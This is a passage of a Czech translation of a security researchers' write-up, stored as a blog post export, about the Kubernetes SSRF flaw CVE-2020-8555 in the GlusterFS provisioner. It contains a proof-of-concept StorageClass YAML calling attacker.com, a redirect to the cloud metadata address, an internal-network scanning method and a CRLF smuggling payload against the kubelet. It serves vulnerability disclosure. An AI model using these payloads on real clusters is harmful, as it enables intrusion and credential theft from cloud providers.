{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Pozn. p\u0159ek.<\/b>: auto\u0159i tohoto \u010dl\u00e1nku podrobn\u011b popisuj\u00ed, jak se jim poda\u0159ilo objevit zranitelnost <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> v Kubernetes. A\u010dkoli na prvn\u00ed pohled nevypadala p\u0159\u00edli\u0161 nebezpe\u010dn\u011b, v kombinaci s jin\u00fdmi faktory se jej\u00ed kriti\u010dnost pro n\u011bkter\u00e9 poskytovatele cloudov\u00fdch slu\u017eeb uk\u00e1zala jako maxim\u00e1ln\u00ed. Specialist\u00e9 byli \u0161t\u011bd\u0159e odm\u011bn\u011bni n\u011bkolika organizacemi za svou pr\u00e1ci.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kdo jsme<\/h2>\n<p>\nJsme dva francouz\u0161t\u00ed bezpe\u010dnostn\u00ed v\u00fdzkumn\u00edci, kte\u0159\u00ed spole\u010dn\u011b objevili zranitelnost v Kubernetes. Jmenujeme se Brice Augras a Christophe Hauquiert, ale na mnoha platform\u00e1ch Bug Bounty jsme zn\u00e1m\u00ed jako Reeverzax a Hach.<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architekt Kubernetes ve spole\u010dnosti Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Co se stalo?<\/h2>\n<p>\nTento \u010dl\u00e1nek je n\u00e1\u0161 zp\u016fsob, jak sd\u011blit, jak se b\u011b\u017en\u00fd v\u00fdzkumn\u00fd projekt ne\u010dekan\u011b zm\u011bnil v nejzaj\u00edmav\u011bj\u0161\u00ed dobrodru\u017estv\u00ed v \u017eivot\u011b lovc\u016f chyb (alespo\u0148 prozat\u00edm).<\/p>\n<p>Jak u\u017e mo\u017en\u00e1 v\u00edte, lovci chyb maj\u00ed p\u00e1r pozoruhodn\u00fdch rys\u016f:<\/p>\n<ul>\n<li> \u017eij\u00ed na pizz\u00e1ch a pivu;<\/li>\n<li> pracuj\u00ed, kdy\u017e ostatn\u00ed sp\u00ed.<\/li>\n<\/ul>\n<p>\nNejsme v\u00fdjimkou, obvykle se sch\u00e1z\u00edme o v\u00edkendech a po\u0159\u00e1d\u00e1me bezesn\u00e9 hackersk\u00e9 noci. Ale jedna z t\u011bchto noc\u00ed skon\u010dila velmi neobvykle.<\/p>\n<p>P\u016fvodn\u011b jsme se cht\u011bli setkat, abychom probrali \u00fa\u010dast na <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> n\u00e1sleduj\u00edc\u00ed den. B\u011bhem rozhovoru o bezpe\u010dnosti Kubernetes v \u0159\u00edzen\u00e9m servisn\u00edm prost\u0159ed\u00ed jsme si vzpomn\u011bli na star\u00fd n\u00e1pad SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) a rozhodli jsme se to zkusit pou\u017e\u00edt jako sc\u00e9n\u00e1\u0159 \u00fatoku.<\/p>\n<p>Ve 11 ve\u010der jsme se pustili do v\u00fdzkumu a \u0161li sp\u00e1t brzy r\u00e1no, velmi spokojeni s v\u00fdsledky. D\u00edky tomuto v\u00fdzkumu jsme narazili na program MSRC Bug Bounty a p\u0159i\u0161li jsme s exploitac\u00ed s eskalac\u00ed opr\u00e1vn\u011bn\u00ed.<\/p>\n<p>Uplynulo n\u011bkolik t\u00fddn\u016f\/m\u011bs\u00edc\u016f a n\u00e1\u0161 ne\u010dekan\u00fd v\u00fdsledek n\u00e1m p\u0159inesl jednu z nejvy\u0161\u0161\u00edch odm\u011bn v historii Azure Cloud Bug Bounty \u2014 krom\u011b t\u00e9, kterou jsme z\u00edskali od Kubernetes!<\/p>\n<p>Na z\u00e1klad\u011b na\u0161eho v\u00fdzkumn\u00e9ho projektu v\u00fdbor Kubernetes Product Security Committee publikoval <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Nyn\u00ed bychom cht\u011bli co nejv\u00edce \u0161\u00ed\u0159it informace o nalezen\u00e9 zranitelnosti. Douf\u00e1me, \u017ee ocen\u00edte na\u0161e zji\u0161t\u011bn\u00ed a sd\u00edl\u00edte technick\u00e9 detaily s ostatn\u00edmi \u010dleny infosec komunity!<\/p>\n<p>Tak\u017ee, tady je n\u00e1\u0161 p\u0159\u00edb\u011bh\u2026<\/p>\n<h2>Kontext<\/h2>\n<p>\nAby maxim\u00e1ln\u011b objasnili smysl ud\u00e1losti, pod\u00edvejme se nejd\u0159\u00edve na to, jak Kubernetes funguje v \u0159\u00edzen\u00e9m cloudov\u00e9m prost\u0159ed\u00ed.<\/p>\n<p>Kdy\u017e vytv\u00e1\u0159\u00edte instanci klastru Kubernetes v takov\u00e9m prost\u0159ed\u00ed, obvykle je o chod \u0159\u00edd\u00edc\u00ed vrstvy postar\u00e1no poskytovatelem cloudov\u00fdch slu\u017eeb:<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>\u0158\u00edd\u00edc\u00ed vrstva se nach\u00e1z\u00ed na okraji cloudov\u00e9ho poskytovatele, zat\u00edmco uzly Kubernetes jsou na okraji klienta.<\/i><\/p>\n<p>Pro dynamick\u00e9 p\u0159id\u011blov\u00e1n\u00ed objem\u016f se pou\u017e\u00edv\u00e1 mechanismus jejich dynamick\u00e9ho poskytov\u00e1n\u00ed z extern\u00edho \u00falo\u017ei\u0161t\u011b a p\u0159i\u0159azov\u00e1n\u00ed k PVC (persistent volume claim, tj. \u017e\u00e1dosti o objem).<\/p>\n<p>Tak\u017ee pot\u00e9, co byl PVC vytvo\u0159en a p\u0159ipojen ke StorageClass v clusteru K8s, dal\u0161\u00ed kroky pro poskytnut\u00ed objemu zaji\u0161\u0165uje kube\/cloud controller manager (jeho p\u0159esn\u00fd n\u00e1zev z\u00e1vis\u00ed na verzi). <i>(<b>Pozn. p\u0159ek.<\/b>: O CCM na p\u0159\u00edkladu jeho implementace pro jednoho z cloudov\u00fdch poskytovatel\u016f jsme ji\u017e psali. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">zde<\/a><\/noindex>.)<\/i><\/p>\n<p>Existuje n\u011bkolik typ\u016f provisioner\u016f, kter\u00e9 Kubernetes podporuje: v\u011bt\u0161ina z nich je zahrnuta v <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">j\u00e1dra orchestr\u00e1toru,<\/a><\/noindex>, zat\u00edmco dal\u0161\u00ed jsou spravov\u00e1ny dodate\u010dn\u00fdmi provisionery, kter\u00e9 jsou um\u00edst\u011bny v podech v clusteru.<\/p>\n<p>Ve sv\u00e9m v\u00fdzkumu jsme se zam\u011b\u0159ili na vnit\u0159n\u00ed mechanismus poskytov\u00e1n\u00ed objem\u016f, kter\u00e9 je zn\u00e1zorn\u011bno n\u00ed\u017ee:<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamick\u00e9 poskytov\u00e1n\u00ed objem\u016f pomoc\u00ed zabudovan\u00e9ho provisionera Kubernetes<\/i><\/p>\n<p>Stru\u010dn\u011b \u0159e\u010deno, kdy\u017e je Kubernetes nasazen ve spravovan\u00e9m prost\u0159ed\u00ed, o pr\u00e1ci controller managera se star\u00e1 poskytovatel cloudov\u00fdch slu\u017eeb, ale \u017e\u00e1dost o vytvo\u0159en\u00ed objemu (\u010d\u00edslovan\u00e1 3 na v\u00fd\u0161e uveden\u00e9m sch\u00e9matu) opou\u0161t\u00ed hranice intern\u00ed s\u00edt\u011b cloudov\u00e9ho poskytovatele. A tady se situace st\u00e1v\u00e1 opravdu zaj\u00edmavou!<\/p>\n<h2>Sc\u00e9n\u00e1\u0159 \u00fatoku<\/h2>\n<p>\nV t\u00e9to \u010d\u00e1sti pop\u00ed\u0161eme, jak jsme vyu\u017eili v\u00fd\u0161e uveden\u00fd pracovn\u00ed tok a z\u00edskali p\u0159\u00edstup k intern\u00edm zdroj\u016fm poskytovatele cloudov\u00fdch slu\u017eeb. Tak\u00e9 uk\u00e1\u017eeme, jak lze prov\u00e9st ur\u010dit\u00e9 akce \u2013 nap\u0159\u00edklad z\u00edskat intern\u00ed p\u0159ihla\u0161ovac\u00ed \u00fadaje nebo prov\u00e9st eskalaci opr\u00e1vn\u011bn\u00ed.<\/p>\n<p>Jedna jednoduch\u00e1 manipulace (v tomto p\u0159\u00edpad\u011b se jedn\u00e1 o Service Side Request Forgery) pomohla p\u0159ekro\u010dit hranice klientsk\u00e9ho prost\u0159ed\u00ed v klastrech r\u016fzn\u00fdch poskytovatel\u016f slu\u017eeb spravovan\u00e9ho K8s.<\/p>\n<p>Ve sv\u00fdch v\u00fdzkumech jsme se zam\u011b\u0159ili na provisionera GlusterFS. I kdy\u017e je dal\u0161\u00ed sled ud\u00e1lost\u00ed pops\u00e1n v tomto kontextu, stejn\u00e9 zranitelnosti jsou zraniteln\u00e9 u Quobyte, StorageOS a ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Zneu\u017eit\u00ed mechanismu dynamick\u00e9ho poskytov\u00e1n\u00ed svazk\u016f<\/i><\/p>\n<p>B\u011bhem anal\u00fdzy t\u0159\u00edd \u00falo\u017ei\u0161\u0165 <b>GlusterFS<\/b> v zdrojov\u00fdch k\u00f3dech klienta v Golangu jsme <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">zaznamenali<\/a><\/noindex>, \u017ee p\u0159i prvn\u00edm HTTP po\u017eadavku (3), zaslan\u00e9m b\u011bhem vytv\u00e1\u0159en\u00ed svazku, je na konec u\u017eivatelsk\u00e9 URL p\u0159id\u00e1n parametr <code>resturl<\/code> je p\u0159id\u00e1n <code>\/volumes<\/code>.<\/p>\n<p>Tento dodate\u010dn\u00fd p\u0159\u00edpath jsme se rozhodli odstranit p\u0159id\u00e1n\u00edm <code>#<\/code> do parametru <code>resturl<\/code>. Zde je prvn\u00ed YAML konfigurace, kterou jsme pou\u017eili k testov\u00e1n\u00ed na zranitelnosti \u201esemi-blind\u201c SSRF <i>(v\u00edce o semi-blind nebo half-blind SSRF si m\u016f\u017eete p\u0159e\u010d\u00edst nap\u0159\u00edklad, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">zde<\/a><\/noindex> \u2014 pozn. p\u0159ekl.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nPak jsme pro vzd\u00e1len\u00e9 ovl\u00e1d\u00e1n\u00ed Kubernetes clusteru pou\u017eili bin\u00e1rn\u00ed soubor <b>kubectl<\/b>. Obvykle poskytovatel\u00e9 cloudu (Azure, Google, AWS atd.) umo\u017e\u0148uj\u00ed z\u00edskat p\u0159ihla\u0161ovac\u00ed \u00fadaje pro jejich pou\u017eit\u00ed v tomto n\u00e1stroji.<\/p>\n<p>D\u00edky tomu jsme mohli pou\u017e\u00edt sv\u016fj \u201especi\u00e1ln\u00ed\u201c soubor. Kube-controller-manager vykonal v\u00fdsledn\u00fd HTTP po\u017eadavek:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Odpov\u011b\u010f z pohledu \u00fato\u010dn\u00edka<\/i><\/p>\n<p>Brzy pot\u00e9 jsme tak\u00e9 byli schopni z\u00edskat HTTP odpov\u011b\u010f ze c\u00edlov\u00e9ho serveru \u2014 prost\u0159ednictv\u00edm p\u0159\u00edkaz\u016f <code>describe pvc<\/code> nebo <code>get events<\/code> v kubectl. A skute\u010dn\u011b: tento ovlada\u010d Kubernetes je ve sv\u00fdch varov\u00e1n\u00edch\/chybov\u00fdch zpr\u00e1v\u00e1ch jako v\u00fdchoz\u00ed p\u0159\u00edli\u0161 verbose...<\/p>\n<p>Zde je p\u0159\u00edklad s odkazem na <code>https:\/\/www.google.fr<\/code>, nastaven\u00fdm jako parametr <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# nebo m\u016f\u017eete pou\u017e\u00edt kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nV r\u00e1mci tohoto p\u0159\u00edstupu jsme byli omezeni na po\u017eadavky typu <b>HTTP POST<\/b> a nemohli jsme z\u00edskat obsah t\u011bla odpov\u011bdi, pokud byl n\u00e1vratov\u00fd k\u00f3d <b>201<\/b>. Proto jsme se rozhodli prov\u00e9st dal\u0161\u00ed v\u00fdzkum a roz\u0161\u00ed\u0159ili tento sc\u00e9n\u00e1\u0159 hackov\u00e1n\u00ed o nov\u00e9 p\u0159\u00edstupy.<\/p>\n<h2>Evoluce na\u0161ich v\u00fdzkum\u016f<\/h2>\n<p><\/p>\n<ul>\n<li> Pokro\u010dil\u00fd sc\u00e9n\u00e1\u0159 \u010d. 1: vyu\u017eit\u00ed 302 p\u0159esm\u011brov\u00e1n\u00ed z extern\u00edho serveru pro zm\u011bnu HTTP metody, aby bylo mo\u017en\u00e9 l\u00e9pe shroma\u017e\u010fovat intern\u00ed data.<\/li>\n<li> Pokro\u010dil\u00fd sc\u00e9n\u00e1\u0159 \u010d. 2: automatizace skenov\u00e1n\u00ed LAN a detekce intern\u00edch zdroj\u016f.<\/li>\n<li> Pokro\u010dil\u00fd sc\u00e9n\u00e1\u0159 \u010d. 3: pou\u017eit\u00ed HTTP CRLF + pa\u0161ov\u00e1n\u00ed (\u201esmuggling\u201c) dotaz\u016f pro vytv\u00e1\u0159en\u00ed p\u0159izp\u016fsoben\u00fdch HTTP dotaz\u016f a z\u00edsk\u00e1v\u00e1n\u00ed dat extrahovan\u00fdch z log\u016f kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Technick\u00e9 specifikace<\/h3>\n<p><\/p>\n<ul>\n<li> Ve v\u00fdzkumech byl pou\u017eit Azure Kubernetes Service (AKS) s Kubernetes verze 1.12 v regionu Severn\u00ed Evropa.<\/li>\n<li> V\u00fd\u0161e popsan\u00e9 sc\u00e9n\u00e1\u0159e byly prov\u00e1d\u011bny na posledn\u00edch verz\u00edch Kubernetes s v\u00fdjimkou t\u0159et\u00edho sc\u00e9n\u00e1\u0159e, proto\u017ee vy\u017eadoval Kubernetes sestaven\u00fd s Golang version \u2264 1.12.<\/li>\n<li> Vn\u011bj\u0161\u00ed server \u00fato\u010dn\u00edka \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Pokro\u010dil\u00fd sc\u00e9n\u00e1\u0159 \u010d. 1: p\u0159esm\u011brov\u00e1n\u00ed HTTP POST po\u017eadavku na GET a z\u00edsk\u00e1n\u00ed citliv\u00fdch dat<\/h3>\n<p>\nP\u016fvodn\u00ed metoda byla vylep\u0161ena konfigurac\u00ed serveru \u00fato\u010dn\u00edka na vr\u00e1cen\u00ed <b>302 HTTP Retcode<\/b>, aby konvertovala POST po\u017eadavek na GET po\u017eadavek (krok 4 na sch\u00e9matu):<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPrvn\u00ed po\u017eadavek (3), ode\u0161l\u00fd od klienta <b>GlusterFS<\/b> (Controller Manager), m\u00e1 typ POST. Proveden\u00edm n\u00e1sleduj\u00edc\u00edch krok\u016f jsme ho dok\u00e1zali p\u0159ev\u00e9st na GET:<\/p>\n<ul>\n<li> Jako parametr <code>resturl<\/code> ve StorageClass je uvedeno <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> odpov\u00edd\u00e1 s k\u00f3dem stavu 302 HTTP s n\u00e1sleduj\u00edc\u00edm hlavi\u010dkou Location: <code>http:\/\/169.254.169.254<\/code>. To m\u016f\u017ee b\u00fdt jak\u00fdkoli jin\u00fd intern\u00ed zdroj \u2014 v tomto p\u0159\u00edpad\u011b se p\u0159esm\u011brovac\u00ed odkaz pou\u017e\u00edv\u00e1 v\u00fdhradn\u011b jako p\u0159\u00edklad.<\/li>\n<li> Ve v\u00fdchoz\u00edm nastaven\u00ed <b>knihovna net\/http<\/b> Golang p\u0159esm\u011brov\u00e1v\u00e1 dotaz a p\u0159ev\u00e1d\u00ed POST na GET s k\u00f3dem stavu 302, tak\u017ee na c\u00edlov\u00fd zdroj p\u0159ich\u00e1z\u00ed HTTP dotaz GET.<\/li>\n<\/ul>\n<p>\nAbychom p\u0159e\u010detli t\u011blo HTTP odpov\u011bdi, je t\u0159eba prov\u00e9st <code>popis<\/code> objekt PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nZde je p\u0159\u00edklad HTTP odpov\u011bdi ve form\u00e1tu JSON, kterou jsme dok\u00e1zali z\u00edskat:<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nMo\u017enosti nalezen\u00e9 zranitelnosti v t\u00e9 dob\u011b byly omezeny n\u00e1sleduj\u00edc\u00edmi faktory:<\/p>\n<ul>\n<li> Neschopnost vlo\u017eit HTTP hlavi\u010dky do odchoz\u00edho po\u017eadavku.<\/li>\n<li> Neschopnost prov\u00e1d\u011bt POST po\u017eadavek s parametry v t\u011ble (to je pohodln\u00e9 pou\u017e\u00edvat pro z\u00edsk\u00e1n\u00ed hodnoty kl\u00ed\u010de z instance etcd, kter\u00e1 b\u011b\u017e\u00ed na <b>2379<\/b> portu, pokud se pou\u017e\u00edv\u00e1 ne\u0161ifrovan\u00fd HTTP).<\/li>\n<li> Neschopnost z\u00edskat obsah t\u011bla odpov\u011bdi, kdy\u017e byl stavov\u00fd k\u00f3d roven 200 a odpov\u011b\u010f nem\u011bla JSON Content-Type.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Pokro\u010dil\u00fd sc\u00e9n\u00e1\u0159 \u010d. 2: skenov\u00e1n\u00ed lok\u00e1ln\u00ed s\u00edt\u011b<\/h3>\n<p>\nTato metoda half-blind SSRF byla pot\u00e9 pou\u017eita k prozkoum\u00e1n\u00ed intern\u00ed s\u00edt\u011b poskytovatele cloudov\u00fdch slu\u017eeb a dotazov\u00e1n\u00ed r\u016fzn\u00fdch naslouchaj\u00edc\u00edch slu\u017eeb (instance Metadata, Kubelet, etcd atd.) na z\u00e1klad\u011b odpov\u011bd\u00ed <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nNejprve byly identifikov\u00e1ny standardn\u00ed naslouchaj\u00edc\u00ed porty komponent Kubernetes (8443, 10250, 10251 atd.), a pot\u00e9 bylo nutn\u00e9 automatizovat proces skenov\u00e1n\u00ed.<\/p>\n<p>Vid\u00edce, \u017ee tento zp\u016fsob skenov\u00e1n\u00ed zdroj\u016f je velmi specifick\u00fd a nekompatibiln\u00ed s b\u011b\u017en\u00fdmi skenery a SSRF n\u00e1stroji, rozhodli jsme se vytvo\u0159it vlastn\u00ed worker v bash skriptu, kter\u00e9 automatizuj\u00ed cel\u00fd proces.<\/p>\n<p>Nap\u0159\u00edklad, aby bylo mo\u017en\u00e9 rychleji oskenovat rozsah 172.16.0.0\/12 intern\u00ed s\u00edt\u011b, bylo spu\u0161t\u011bno 15 worker\u016f paraleln\u011b. V\u00fd\u0161e uveden\u00fd rozsah IP byl vybr\u00e1n pouze jako p\u0159\u00edklad a m\u016f\u017ee b\u00fdt zm\u011bn\u011bn na IP rozsah konkr\u00e9tn\u00edho poskytovatele slu\u017eeb.<\/p>\n<p>Pro skenov\u00e1n\u00ed jedn\u00e9 IP adresy a jednoho portu je t\u0159eba prov\u00e9st n\u00e1sleduj\u00edc\u00ed:<\/p>\n<ul>\n<li> odstranit d\u0159\u00edve ov\u011b\u0159en\u00fd StorageClass;<\/li>\n<li> odstranit p\u0159edchoz\u00ed ov\u011b\u0159en\u00fd Persistent Volume Claim;<\/li>\n<li> zm\u011bnit hodnoty IP a Port v <code>sc.yaml<\/code>;<\/li>\n<li> vytvo\u0159it StorageClass s novou IP a portem;<\/li>\n<li> vytvo\u0159it nov\u00fd PVC;<\/li>\n<li> extrakce v\u00fdsledk\u016f skenov\u00e1n\u00ed pomoc\u00ed describe pro PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Pokro\u010dil\u00fd sc\u00e9n\u00e1\u0159 \u010d. 3: injekce CRLF + HTTP smuggling ve 'star\u00fdch' verz\u00edch Kubernetes clusteru<\/h3>\n<p>\nPokud k tomu poskytovatel nab\u00edzel star\u00e9 verze K8s clusteru klient\u016fm <b>a<\/b> a otev\u00edral jim p\u0159\u00edstup k log\u016fm kube-controller-manager, efekt byl je\u0161t\u011b v\u00fdrazn\u011bj\u0161\u00ed.<\/p>\n<p>\u00dato\u010dn\u00edkovi je toti\u017e mnohem snaz\u0161\u00ed libovoln\u011b m\u011bnit HTTP po\u017eadavky, ur\u010den\u00e9 k z\u00edsk\u00e1n\u00ed \u00fapln\u00e9 HTTP odpov\u011bdi.<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPro realizaci posledn\u00edho sc\u00e9n\u00e1\u0159e musely b\u00fdt spln\u011bny n\u00e1sleduj\u00edc\u00ed podm\u00ednky:<\/p>\n<ul>\n<li> U\u017eivatel mus\u00ed m\u00edt p\u0159\u00edstup k log\u016fm kube-controller-manager (nap\u0159\u00edklad v Azure LogInsights).<\/li>\n<li> Kubernetes cluster mus\u00ed pou\u017e\u00edvat verzi Golang ni\u017e\u0161\u00ed ne\u017e 1.12.<\/li>\n<\/ul>\n<p>\nNasadili jsme lok\u00e1ln\u00ed prost\u0159ed\u00ed, kter\u00e9 simuluje v\u00fdm\u011bnu dat mezi Go klientem GlusterFS a fale\u0161n\u00fdm c\u00edlov\u00fdm serverem (prozat\u00edm se zdr\u017e\u00edme publikov\u00e1n\u00ed PoC).<\/p>\n<p>Byla objevena <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">zranitelnost<\/a><\/noindex>, kter\u00e1 se t\u00fdk\u00e1 verz\u00ed Golang ni\u017e\u0161\u00edch ne\u017e 1.12 a umo\u017enila hacker\u016fm prov\u00e1d\u011bt \u00fatoky typu HTTP smuggling\/CRLF.<\/p>\n<p>Kombinac\u00ed v\u00fd\u0161e uveden\u00e9ho half-blind SSRF <b>spole\u010dn\u011b<\/b> s t\u00edmto jsme byli schopni odes\u00edlat po\u017eadavky podle vlastn\u00edho uv\u00e1\u017een\u00ed, v\u010detn\u011b substituce hlavi\u010dek, HTTP metody, parametr\u016f a dat, kter\u00e9 kube-controller-manager n\u00e1sledn\u011b zpracov\u00e1val.<\/p>\n<p>Zde je p\u0159\u00edklad funk\u010dn\u00ed 'n\u00e1vnady' v parametru <code>resturl<\/code> StorageClass, kter\u00e1 implementuje podobn\u00fd sc\u00e9n\u00e1\u0159 \u00fatoku:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nV\u00fdsledkem je chyba <b>neschv\u00e1len\u00e1 odpov\u011b\u010f<\/b>, zpr\u00e1va, kter\u00e1 se zapisuje do log\u016f kontroleru. D\u00edky v\u00fdchoz\u00edmu nastaven\u00ed \u201erozs\u00e1hlosti\u201c se tam tak\u00e9 ukl\u00e1d\u00e1 obsah odpov\u011bdn\u00edho HTTP zpr\u00e1vy.<\/p>\n<p><img decoding=\"async\" alt=\"Kdy\u017e nejde jen o zranitelnost v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nTo byla na\u0161e nej\u00fasp\u011b\u0161n\u011bj\u0161\u00ed \u201en\u00e1vnada\u201c v r\u00e1mci proof of concept.<\/p>\n<p>Pou\u017eit\u00edm tohoto p\u0159\u00edstupu jsme mohli prov\u00e9st n\u011bkter\u00e9 z n\u00e1sleduj\u00edc\u00edch \u00fatok\u016f v clusterech r\u016fzn\u00fdch poskytovatel\u016f managed k8s: eskalace privilegi\u00ed s z\u00edsk\u00e1n\u00edm p\u0159ihla\u0161ovac\u00edch \u00fadaj\u016f na metadata instanc\u00edch, DoS mastera pomoc\u00ed (ne\u0161ifrovan\u00fdch) HTTP po\u017eadavk\u016f na master instanc\u00edch etcd a podobn\u011b.<\/p>\n<h2>D\u016fsledky<\/h2>\n<p>\nV ofici\u00e1ln\u00edm prohl\u00e1\u0161en\u00ed Kubernetes k n\u00e1m zji\u0161t\u011bn\u00e9 zranitelnosti SSRF byla p\u0159id\u011blena zn\u00e1mka <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Pokud vezmeme v \u00favahu pouze zranitelnost spojenou s perimetrem Kubernetes, vektor integrity <i>(integrity vector)<\/i> je kvalifikov\u00e1n jako <b>None<\/b>.<\/p>\n<p>Nicm\u00e9n\u011b hodnocen\u00ed mo\u017en\u00fdch d\u016fsledk\u016f v kontextu spravovan\u00e9ho servisn\u00edho prost\u0159ed\u00ed (a to byla nejzaj\u00edmav\u011bj\u0161\u00ed \u010d\u00e1st na\u0161eho v\u00fdzkumu!) n\u00e1s povzbudilo k p\u0159e\u0161k\u00e1lov\u00e1n\u00ed zranitelnosti na zn\u00e1mku <b>Critical CVSS10\/10<\/b> pro mnoho 